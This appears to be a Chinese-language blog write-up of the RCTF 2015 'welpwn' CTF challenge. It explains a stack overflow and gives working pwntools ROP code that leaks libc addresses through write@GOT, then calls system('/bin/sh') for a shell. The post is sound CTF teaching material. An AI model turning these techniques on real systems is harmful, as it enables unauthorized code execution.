Sunichi's Blog

sunichi@DUBHE | Linux & Pwn & Fuzz

0%

rctf 2015 welpwn writeup

buf的空间大小为0x400,read()的读入长度也为0x400。进入echo()函数继续查找。

字符串s2长度为0x10,内容从buf进行拷贝,当遇到\x00时特,停止拷贝。栈布局如下

size data
0x10 s2
0x08 saved ebp
0x08 return address
0x400 buf

构造如下payload

1
payload = 'a' * 24 + return_addr

由于字符串复制遇\x00终止,因此最多只能传入一个地址。但由于返回地址之后就是我们所输入的buf,所以需要利用buf进行控制。buf的前32字节为上述payload,因此需要利用gadget从栈中移除32字节,使用pop四次返回即可,随后便进入预先设计好的控制流中。由于原先的返回地址非\x00长度与pop4_addr相同,因此可以成功写入。leak函数设计如下:

1
2
3
4
5
6
7
8
9
10
def leak(addr):
payload = 'a' * 24 + p64(pop4_addr)
payload += p64(pop6_addr) + p64(0) + p64(1) + p64(write_got) + p64(8) + p64(addr) + p64(1)
payload += p64(call_addr) + 'a' * 56
payload += p64(start_addr)
payload = payload.ljust(0x400, 'a')
p.send(payload)
data = p.recv(8)
p.recv(0x400)
return data

获取system地址后:

1
2
3
4
5
6
7
8
payload = 'a' * 24 + p64(pop4_addr)
payload += p64(pop6_addr) + p64(0) + p64(1) + p64(read_got) + p64(8) + p64(bss_addr) + p64(0)
payload += p64(call_addr) + 'a' * 56
payload += p64(poprdi_addr) + p64(bss_addr) + p64(system_addr)
payload = payload.ljust(0x400, 'a')
p.send(payload)
p.send('/bin/sh\x00')
p.interactive()

参考文章和bin下载:https://www.anquanke.com/post/id/85129